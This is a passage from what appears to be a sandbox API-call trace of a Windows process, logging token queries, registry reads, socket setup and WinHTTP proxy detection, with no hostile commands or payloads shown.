DesiredAccess=0x2000000, TokenHandle=0x1c77d748 | out: TokenHandle=0x1c77d748*=0x420) returned 1 [0276.283] GetCurrentProcess () returned 0xffffffffffffffff [0276.283] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d3c8 | out: TokenHandle=0x1c77d3c8*=0x424) returned 1 [0276.321] GetCurrentProcess () returned 0xffffffffffffffff [0276.321] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d3c8 | out: TokenHandle=0x1c77d3c8*=0x428) returned 1 [0276.337] GetCurrentProcess () returned 0xffffffffffffffff [0276.337] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d4f8 | out: TokenHandle=0x1c77d4f8*=0x42c) returned 1 [0276.342] GetCurrentProcess () returned 0xffffffffffffffff [0276.342] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d4f8 | out: TokenHandle=0x1c77d4f8*=0x430) returned 1 [0276.351] GetCurrentProcess () returned 0xffffffffffffffff [0276.351] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d438 | out: TokenHandle=0x1c77d438*=0x434) returned 1 [0276.357] GetCurrentProcess () returned 0xffffffffffffffff [0276.357] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d438 | out: TokenHandle=0x1c77d438*=0x438) returned 1 [0276.360] GetCurrentProcess () returned 0xffffffffffffffff [0276.360] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77da78 | out: TokenHandle=0x1c77da78*=0x43c) returned 1 [0276.368] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c77bb38 | out: phkResult=0x1c77bb38*=0x440) returned 0x0 [0276.368] RegQueryValueExW (in: hKey=0x440, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1c77babc, lpData=0x0, lpcbData=0x1c77bab8*=0x0 | out: lpType=0x1c77babc*=0x1, lpData=0x0, lpcbData=0x1c77bab8*=0xe) returned 0x0 [0276.368] CoTaskMemAlloc (cb=0x12) returned 0x1b7e3ec0 [0276.368] RegQueryValueExW (in: hKey=0x440, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1c77ba8c, lpData=0x1b7e3ec0, lpcbData=0x1c77ba88*=0xe | out: lpType=0x1c77ba8c*=0x1, lpData="Client", lpcbData=0x1c77ba88*=0xe) returned 0x0 [0276.368] CoTaskMemFree (pv=0x1b7e3ec0) [0276.368] RegCloseKey (hKey=0x440) returned 0x0 [0276.375] CoTaskMemAlloc (cb=0xcd0) returned 0x1b7e9250 [0276.376] RasEnumConnectionsW (in: param_1=0x1b7e9250, param_2=0x1c77dacc, param_3=0x1c77dac8 | out: param_1=0x1b7e9250, param_2=0x1c77dacc, param_3=0x1c77dac8) returned 0x0 [0276.378] CoTaskMemFree (pv=0x1b7e9250) [0276.383] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c77d8d8 | out: lpWSAData=0x1c77d8d8) returned 0 [0276.390] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x488 [0276.393] setsockopt (s=0x488, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0276.393] closesocket (s=0x488) returned 0 [0276.393] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x488 [0276.394] setsockopt (s=0x488, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0276.394] closesocket (s=0x488) returned 0 [0276.399] GetCurrentProcess () returned 0xffffffffffffffff [0276.399] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d158 | out: TokenHandle=0x1c77d158*=0x488) returned 1 [0276.408] GetCurrentProcess () returned 0xffffffffffffffff [0276.408] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d158 | out: TokenHandle=0x1c77d158*=0x48c) returned 1 [0276.422] GetCurrentProcessId () returned 0x464 [0276.434] ioctlsocket (in: s=0x490, cmd=-2147195266, argp=0x1c77daf8 | out: argp=0x1c77daf8) returned 0 [0276.434] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x49c [0276.434] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4a0 [0276.434] ioctlsocket (in: s=0x49c, cmd=-2147195266, argp=0x1c77daf8 | out: argp=0x1c77daf8) returned 0 [0276.435] WSAIoctl (in: s=0x490, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c77da70, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c77da70, lpOverlapped=0x0) returned -1 [0276.436] CoTaskMemAlloc (cb=0x204) returned 0x40de30 [0276.436] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x40de30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0276.436] CoTaskMemFree (pv=0x40de30) [0276.436] WSAEventSelect (s=0x490, hEventObject=0x498, lNetworkEvents=512) returned 0 [0276.436] WSAIoctl (in: s=0x49c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x1c77da70, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x1c77da70, lpOverlapped=0x0) returned -1 [0276.436] CoTaskMemAlloc (cb=0x204) returned 0x40de30 [0276.436] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x40de30, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0276.437] CoTaskMemFree (pv=0x40de30) [0276.437] WSAEventSelect (s=0x49c, hEventObject=0x4a0, lNetworkEvents=512) returned 0 [0276.437] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4a4 [0276.437] RasConnectionNotificationW (param_1=0xffffffffffffffff, param_2=0x4a4, param_3=0x3) returned 0x0 [0276.441] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x1c77dbb0 | out: phkResult=0x1c77dbb0*=0x4bc) returned 0x0 [0276.442] RegOpenKeyExW (in: hKey=0x4bc, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c77da98 | out: phkResult=0x1c77da98*=0x4c0) returned 0x0 [0276.442] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4c4 [0276.443] RegNotifyChangeKeyValue (hKey=0x4c0, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4c4, fAsynchronous=1) returned 0x0 [0276.444] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c77dac0 | out: phkResult=0x1c77dac0*=0x4c8) returned 0x0 [0276.444] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4cc [0276.444] RegNotifyChangeKeyValue (hKey=0x4c8, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4cc, fAsynchronous=1) returned 0x0 [0276.444] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c77dac0 | out: phkResult=0x1c77dac0*=0x4d0) returned 0x0 [0276.444] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d4 [0276.444] RegNotifyChangeKeyValue (hKey=0x4d0, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4d4, fAsynchronous=1) returned 0x0 [0276.444] GetCurrentProcess () returned 0xffffffffffffffff [0276.444] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77da28 | out: TokenHandle=0x1c77da28*=0x4d8) returned 1 [0276.450] GetCurrentProcess () returned 0xffffffffffffffff [0276.450] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d1f8 | out: TokenHandle=0x1c77d1f8*=0x4dc) returned 1 [0276.454] GetCurrentProcess () returned 0xffffffffffffffff [0276.454] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c77d1f8 | out: TokenHandle=0x1c77d1f8*=0x4e0) returned 1 [0276.464] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1c77daf8 | out: pProxyConfig=0x1c77daf8) returned 1 [0276.523] WinHttpDetectAutoProxyConfigUrl (dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x1c77da60) Thread: id = 332 os_tid = 0x214 Thread: id = 333 os_tid = 0x8c8 Thread: id = 334 os_tid = 0x8a8 [0276.519] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0276.522] ResetEvent (hEvent=0x404) returned 1